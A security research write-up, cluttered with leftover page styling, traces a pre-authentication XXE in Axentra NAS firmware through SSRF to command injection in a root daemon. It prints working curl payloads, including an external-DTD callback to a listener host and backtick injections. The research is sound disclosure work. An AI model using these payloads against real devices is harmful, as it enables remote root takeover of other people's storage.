#999988; background-color: #ffffff} p.p4 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 13.3px Verdana; color: #008080; -webkit-text-stroke: #008080; background-color: #ffffff} p.p5 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 13.3px Verdana; color: #333333; -webkit-text-stroke: #333333; background-color: #ffffff} p.p6 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 13.3px Verdana; color: #dd1144; -webkit-text-stroke: #dd1144; background-color: #ffffff} p.p7 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 13.3px Verdana; color: #000080; -webkit-text-stroke: #000080; background-color: #ffffff} p.p8 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 18.0px; font: 13.3px Verdana; color: #333333; -webkit-text-stroke: #333333; background-color: #f8f8f8} p.p9 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 25.0px; font: 18.7px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff; min-height: 22.0px} span.s1 {font-kerning: none} span.s2 {font: 15.3px Arial; font-kerning: none; color: #333333; -webkit-text-stroke: 0px #333333} span.s3 {font-kerning: none; color: #333333; -webkit-text-stroke: 0px #333333} span.s4 {font-kerning: none; color: #333333; background-color: #f8f8f8; -webkit-text-stroke: 0px #333333} span.s5 {font-kerning: none; color: #009999; -webkit-text-stroke: 0px #009999} span.s6 {font-kerning: none; color: #000000; -webkit-text-stroke: 0px #000000} span.s7 {font-kerning: none; color: #008080; -webkit-text-stroke: 0px #008080} span.s8 {font-kerning: none; color: #dd1144; -webkit-text-stroke: 0px #dd1144} span.s9 {font-kerning: none; color: #0086b3; -webkit-text-stroke: 0px #0086b3} span.s10 {font-kerning: none; color: #990000; -webkit-text-stroke: 0px #990000} span.s11 {font-kerning: none; background-color: #f8f8f8} span.s12 {font-kerning: none; color: #999988; -webkit-text-stroke: 0px #999988} span.s13 {font-kerning: none; color: #999999; -webkit-text-stroke: 0px #999999} span.s14 {font: 18.7px Arial; font-kerning: none; color: #000000; -webkit-text-stroke: 0px #000000} span.s15 {font-kerning: none; background-color: #ffffff} span.s16 {font-kerning: none; color: #445588; -webkit-text-stroke: 0px #445588} span.Apple-tab-span {white-space:pre} p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 25.0px; font: 18.7px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 14.0px; font: 12.0px Times; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff; min-height: 14.0px} span.s1 {font-kerning: none} span.s2 {font: 15.3px Arial; font-kerning: none; color: #333333; -webkit-text-stroke: 0px #333333} p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 25.0px; font: 18.7px Arial; color: #000000; -webkit-text-stroke: #000000; background-color: #ffffff} span.s1 {font-kerning: none} TL,DR; not a while ago, a couple friends and I decided we wanted to  explore the current security state of popular Network Attached Storage (NAS) devices. We decided to download a bunch of popular NAS firmwares and started looking into them.

    The first one we picked up was called Axentra. While dissecting the firmware, it became clear to us the target is extremely widespread. many popular NAS hardware manufactures including NetGear, SeaGate and Meidon use the Axentra framework by default . This meant any preauth bug in Axentra is exploitable across multiple devices. Looking on shodan, almost ~2 million vulnerable devices can be found. 

    This is a prolonged post detailing how it was possible to craft an RCE exploit from a tricky XXE and SSRF.
    About Axentra.
    Axentra Hipserv is a NAS OS that runs on multiple devices including NetGear Stora, SeaGate Home, Medion LifeCloud NAS and provides cloud-based login, file storage, and management functionalities for different devices. It's used in different devices from different vendors. The company provides a firmware with a web interface that mainly uses PHP as a backend. The web interface has a rest API endpoint and a pretty typical web management interface with file manager support.
    Firmware Analysis.   After extracting the firmware using binwalk, the backend source were located in /var/www/html/ with the webroot in /var/www/html/html. The main handler for the web interface is homebase.php, and RESTAPIController.php is the main handler for the rest API. All the php files were encoded using IONCube which has a public decoder, and given the version used was an old one, decoding the files didn't take long.      Once the files were decoded we proceeded to look at the source code, most of it was well written. During the initial analysis we looked at different configuration files which we thought might come into play. One of them was php.ini located in /etc which contained the configuration line 'register_globals=on', this was pretty exciting as turning register_globals on is a very insecure configuration and could lead to a plethora of vulnerabilities. But looking through the entire source code, we could not find any chunk of code exploitable through this method. The Axentra code as mentioned before was well written and variables where properly initialized, used and carefully checked, so register_globals was not going to work.
    <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} -->
    <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} --> As we kept looking through the source code and moved on to the REST-API endpoint things got a little more interesting, the initial requests are routed through RESTAPIController.phpwhich loads proper classes from /var/www/html/classes/REST and the service classes were in /var/www/html/classes/REST/services in individual folders. While looking through the services most of them were properly authenticated, but there were a few exceptions that were not, one of these was the request aggregator endpoint located at /www/html/classes/REST/services/aggregator in the filesystem and /api/2.0/rest/aggregator/xml from the web url. We will look at how this service works and how we were able to exploit it.
    The first file in the directory was AxAggregatorRESTService.php. This file defines and constructs the rest service. Files of the same structure exist in every service directory with different names ending with the same RESTService.php suffix. In this file there were interesting lines (shown below). Note that line numbers might be inaccurate since the files were decoded and we didn't bother to remove the header generated by the decoder (a block of comment at the beginning of each file plus random breaks).
    JUICE A: /var/www/html/classes/REST/services/aggregator/AxAggregatorRESTService.php
    line 13: private $requiresAuthenticatedHipServUser = false; //This shows the service does not require authentication.
    line 14: private $serviceName = 'aggregator'; //the service name..
    ...
    line 17-18:
        if (( count( $URIArray ) == 1 && $URIArray[0] == 'xml' )) { // If number of uri paths passed to the service is 1 and the first path to the service is xml
                    $resourceClassName = $this->loadResourceClass( 'XMLAggregator' ); // Load a resource class XMLAggregator
    <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} -->
    The code on line 18 calls a function called loadResourceClass with is provided by axentras RESTAPI framework and loads a resource (service handler) class/file from the current rest services directory after adding the appropriate prefix (Ax) and suffix (RESTResource.php). The code for this function is shown below.

    classes/REST/AxAbstractRESTService.php
    line 25-30:
    function loadResourceClass($resourceName) {
                $resourceClassName = 'Ax' . $this->resourcesClassNamePrefix . ucfirst( $resourceName ) . 'RESTResource';
                require_once( REST_SERVICES_DIR . $this->serviceName . '/' . $resourceClassName . '.php' );
                return $resourceClassName;
            }
        } <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} -->
    The next file we had to look at was AxXMLAggregatorRESTResource.php which is loaded and executed by the REST framework. This file defines the functionality of the REST API endpoint, inside of it is where our first bug was found (XXE). Let's take a look at the code.
    /var/www/html/classes/REST/services/aggregator/AxXMLAggregatorRESTResource.php
    line 14:
        DOMDocument $mDoc = new DOMDocument(); //Intialize a DOMDocument loader class

    line 16:
        if (( ( ( $requestBody == '' || !$mDoc->loadXML( $requestBody, LIBXML_NOBLANKS ) ) || !$mRequestsNode = $mDoc->documentElement ) || $mRequestsNode->nodeName != 'requests' )) {
                    AxRecoverableErrorException;
                    throw new ( null, 3 );
                }      Now as you can see on the 16th line this file loads xml from the user without validation. Now most php programmers and security researchers would argue this is not vulnerable since external entity loading is disabled in libxml by default and since our code has not called libxml_disable_entity_loader(false), but one thing to note here is the Axentra firmware uses the libxml library to parse xml data, and libxml started disabling external entity loading by default starting from libxml2 version 2.9 but Axentras firmware has version 2.6 which does not have external entity loading disabled by default, and this leads to an XXE attack, the following request was used to test the XXE.
    curl command with output:
    Command:
    curl -kd '<?xml version="1.0"?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM "http://SolarSystem:9091/XXE_CHECK"> %dtd; ]> <requests> <request href="/api/2.0/rest/3rdparty/facebook/" method="GET"></request> </requests>' http://axentra.local/api/2.0/rest/aggregator/xml
    Output:

    <?xml version="1.0"?>
    <responses>
    <response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
    <errors><error code="401" msg="Unauthorized"/></errors>
    </response>
    </responses>%                     
    which produced the following on out listening server:
    root@Server:~# nc -lvk 9091
    Listening on [0.0.0.0] (family 0, port 9091)
    Connection from [axentra.local] port 9091 [tcp/*] accepted (family 2, sport 41528)
    GET /XXE_CHECK HTTP/1.0
    Host: SolarSystem:9091

    ^C
    root@Server:~#

    <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} -->
    Now that we had XXE working, we could try and read files and try to dig out sensitive info, but ultimately we wanted full remote control. The first thought was to extract the sqlite database containing all usernames and passwords, but this turned out to be a no go since xxe and binary data don't work so well together, even encoding the data using php filters would not work. And since this method would have required another RCE in the webinterface to take full control of the device, we thought of trying something new.
    Since we could make a request from the device (SSRF), we tried to locate endpoints that bypass authentication if the request came from localhost (very common issue/feature?). However, we could not find any good ones and so we moved into the internals of the NAS system specifically how the system executes commands as root (privileged actions). Now this might have not been something to look at if the user-id the web server is using had some sort of sudo privilege, but this was not the case. And since we saw this during our initial overlook of the firmware we knew there was another way the system was executing commands. After a few minutes of searching we found a daemon that the system used to execute commands and found php scripts that communicate with this daemon. We will look at the details below.      <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} -->
    The requests to this daemon are sent using xml format and the file is located in /var/www/html/classes/AxServerProxy.php, which calls a function named systemProxyRequest to send the requests. The systemProxyRequest is located in the same file and the code is given below.
    /var/www/html/classes/AxServerProxy.php:
    line 1564-1688:
    function systemProxyRequest($command, $operation, $params = array(  ), $reqData = '') {
                $Proc = true;
                $host = '127.0.0.1';
                $port = 2000;
                $fp = fsockopen( $host, $port, $errno, $errstr );
                if (!$fp) {
                    AxRecoverableErrorException;
                    throw new ( 'Could not connect to sp server', 4 );
                }
                if ($Proc) {
                    unset( $root );
                    DOMDocument;
                    $doc = new ( '1.0' );
                    $root = $doc->createElement( 'proxy_request' );
                    $cmdNode = $doc->createElement( 'command_name' );
                    $cmdNode->appendChild( $doc->createTextNode( $command ) );
                    $root->appendChild( $cmdNode );
                    $opNode = $doc->createElement( 'operation_name' );
                    $opNode->appendChild( $doc->createTextNode( $operation ) );
                    $root->appendChild( $opNode );

           …

                            if ($reqData[0] == '<') {
                                if (substr( $reqData, 0, 5 ) == '<?xml') {
                                    $reqData = preg_replace( '/<\?xml.*?\?>/', '', $reqData );
                                }

                                DOMDocument;
                                $reqDoc = new (  );
                                $reqData = str_replace( '', '', $reqData );
                                $reqDoc->loadXML( $reqData );
                                $mNewNode = $doc->importNode( $reqDoc->documentElement, true);
                                $dNode->appendChild( $mNewNode );
                            }
    ….
                        $root->appendChild( $dNode );
                    }
                    if ($root) {
                        $doc->appendChild( $root );
                        fputs( $fp, $doc->saveXML(  ) . '' );
                    }

                    $Resp = '';
                    stream_set_timeout( $fp, 120 );
                    while (!feof( $fp )) {
                        $Resp .= fread( $fp, 1024 );
                        $info = stream_get_meta_data( $fp );

                        if ($info['timed_out']) {
                            return array( 'return_code' => 'FAILURE', 'description' => 'System Proxy Timeout', 'error_code' => 4, 'return_message' => '', 'return_value' => '' );
                        }
                    }

    As clearly seen above the function takes xml data and cleans out a few things like spaces and sends it to the daemon listening on port 2000 of the local machine. The daemon is located at /sbin/oe-spd and is a binary file, so we looked into it using IDA, the following pieces of code were generated by the Hex-Rays decompiler in IDA.
    in function sub_A810:
    This function receives the data from the socket as an argument (a2) and parses it.
    JUICE B: signed int __fastcall sub_A810(int a1, const char **a2) line 52:

        v10 = strstr(*v3, "<?xml version=\"1.0\"?>"); // strstr skips over junk data until requested string is found (<?xml version=1.0 ?>)      The line above is important to us mainly because the request is sent through the HTTP protocol so the daemons "feature" to skip over the junk data allows us to embed our payload in an http request to http://127.0.0.1:2000 (the daemons port) without worrying about formatting or the daemon bailing because of unknown characters; it does the same thing with junk data after the xml too.
    <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} -->
    Now, we skipped over looking into how the whole oe-spd daemon code works, mainly because we had our sights set on finding and exploiting a simple RCE bug, and we had all we need to test out a few ways we could go about achieving that, we had the format of the messages from AxServerProxy.php and some from usr/lib/spd/scripts/. The method we used to find the RCE was sending the request through curl, and tracing the process with strace while running in a qemu environment, this helped us filter out execve calls with the right parameters to use as a payload. As a note there were A LOT of vulnerable functions in this daemon, but in the following we only show the one we used to achieve RCE. The interested one's among you can explore the daemon using the hints we gave above.
    curl command and response:
    curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">BOGUS_DEVICE</parameter></proxy_request>' http://127.0.0.1:2000/
    *   Trying 127.0.0.1...
    * TCP_NODELAY set
    * Connected to 127.0.0.1 (127.0.0.1) port 2000 (#0)
    > POST / HTTP/1.1
    > Host: 127.0.0.1:2000
    > User-Agent: curl/7.61.1
    > Accept: */*
    > Content-Length: 179
    > Content-Type: application/x-www-form-urlencoded
    >
    * upload completely sent off: 179 out of 179 bytes

    <?xml version="1.0"?>
    <proxy_return>
    <command_name>usb</command_name>
    <operation_name>eject</operation_name>
    <proxy_reply return_code="SUCCESS" description="Operation successful" />
    </proxy_return>
    strace command and output
    sudo strace -f -s 10000000 -q -p 2468 -e execve
    [pid  2510] execve("/usr/lib/spd/usb", ["/usr/lib/spd/usb"], 0x63203400 /* 22 vars */ <unfinished ...>
    [pid  2511] +++ exited with 0 +++
    [pid  2510] <... execve resumed> )      = 0
    [pid  2513] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/BOGUS_DEVICE manual"], 0x62c67f10 /* 22 vars */ <unfinished ...>
    [pid  2514] +++ exited with 0 +++
    [pid  2513] <... execve resumed> )      = 0
    [pid  2513] execve("/usr/lib/spd/scripts/usb/usbremoveall", ["/usr/lib/spd/scripts/usb/usbremoveall", "/dev/BOGUS_DEVICE", "manual"], 0x62a65800 /* 22 vars */ <unfinished ...>
    [pid  2515] +++ exited with 0 +++
    [pid  2513] <... execve resumed> )      = 0
    [pid  2517] execve("/bin/sh", ["sh", "-c", "grep /dev/BOGUS_DEVICE /etc/mtab"], 0x63837f80 /* 22 vars */ <unfinished ...>
    [pid  2518] +++ exited with 0 +++
    [pid  2517] <... execve resumed> )      = 0
    [pid  2517] execve("/bin/grep", ["grep", "/dev/BOGUS_DEVICE", "/etc/mtab"], 0x64894000 /* 22 vars */ <unfinished ...>
    [pid  2519] +++ exited with 0 +++
    [pid  2517] <... execve resumed> )      = 0
    [pid  2520] +++ exited with 1 +++
    [pid  2517] +++ exited with 1 +++
    [pid  2513] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2517, si_uid=0, si_status=1, si_utime=4, si_stime=3} ---
    [pid  2516] +++ exited with 1 +++
    [pid  2513] +++ exited with 1 +++
    [pid  2510] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2513, si_uid=0, si_status=1, si_utime=16, si_stime=6} ---
    [pid  2512] +++ exited with 0 +++
    [pid  2510] +++ exited with 0 +++
    [pid  2508] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2510, si_uid=0, si_status=0, si_utime=4, si_stime=1} ---
    [pid  2509] +++ exited with 1 +++
    [pid  2508] +++ exited with 1 +++
    the command execution bug should be clearly visible here, but in case you missed it, the 4th line in the strace output shows out input (BOGUS_DEVICE) being passed to a /bin/sh call, now we send a test injection to see if our command execution works.
    curl command and output:
    curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">`echo pwnEd`</parameter></proxy_request>' http://127.0.0.1:2000/
    <?xml version="1.0"?>
    <proxy_return>
    <command_name>usb</command_name>
    <operation_name>eject</operation_name>
    <proxy_reply return_code="SUCCESS" description="Operation successful" />
    </proxy_return>
    Strace output:
    [pid  2550] execve("/usr/lib/spd/usb", ["/usr/lib/spd/usb"], 0x63203400 /* 22 vars */ <unfinished ...>
    [pid  2551] +++ exited with 0 +++
    [pid  2550] <... execve resumed> )      = 0
    [pid  2553] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/`echo pwnEd` manual"], 0x6291cf10 /* 22 vars */ <unfinished ...>


    If you take a close look of the output, it can be seen that "echo pwnEd" command we gave in backticks has been evaluated and the output is being used as a part of a later command. To make this PoC simpler, we just write a file in /tmp and see if it exists in the device.
    curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">dev_`id>/tmp/pwned`</parameter></proxy_request>' http://127.0.0.1:2000/


    <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} -->
